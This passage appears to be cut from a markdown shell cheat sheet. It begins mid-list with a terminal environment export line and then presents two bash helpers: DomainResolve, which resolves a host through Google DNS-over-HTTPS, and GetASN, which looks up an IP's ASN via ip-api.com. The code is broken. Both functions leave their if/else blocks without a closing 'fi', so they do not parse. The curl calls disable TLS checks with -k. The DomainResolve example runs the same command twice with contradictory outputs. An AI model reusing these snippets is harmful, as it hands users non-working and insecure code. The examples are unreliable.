6) `export TERM=xterm; export SHELL=bash`

#### Shell functions &nbsp;[[TOC]](#anger-table-of-contents)

##### Table of Contents

- [Domain resolve](#domain-resolve)
- [Get ASN](#get-asn)

###### Domain resolve

```bash
# Dependencies:
#   - curl
#   - jq

function DomainResolve() {

local _host="$1"

local _curl_base="curl --request GET"
  local _timeout="15"

_host_ip=$($_curl_base -ks -m "$_timeout" "https://dns.google.com/resolve?name=${_host}&type=A" | \
  jq '.Answer[0].data' | tr -d "\"" 2>/dev/null)

if [[ -z "$_host_ip" ]] || [[ "$_host_ip" == "null" ]] ; then

echo -en "Unsuccessful domain name resolution.\\n"

else

echo -en "$_host > $_host_ip\\n"

}
```

Example:

```bash
shell> DomainResolve nmap.org
nmap.org > 45.33.49.119

shell> DomainResolve nmap.org
Unsuccessful domain name resolution.
```

###### Get ASN

```bash
# Dependencies:
#   - curl

function GetASN() {

local _ip="$1"

local _curl_base="curl --request GET"
  local _timeout="15"

_asn=$($_curl_base -ks -m "$_timeout" "http://ip-api.com/line/${_ip}?fields=as")

_state=$(echo $?)

if [[ -z "$_ip" ]] || [[ "$_ip" == "null" ]] || [[ "$_state" -ne 0 ]]; then

echo -en "Unsuccessful ASN gathering.\\n"

else

echo -en "$_ip > $_asn\\n"

}
```

Example:

```bash
shell> GetASN 1.1.1.1
1.1.1.1 > AS13335 Cloudflare, Inc.

shell> GetASN 0.0.0.0
Unsuccessful ASN gathering.
```

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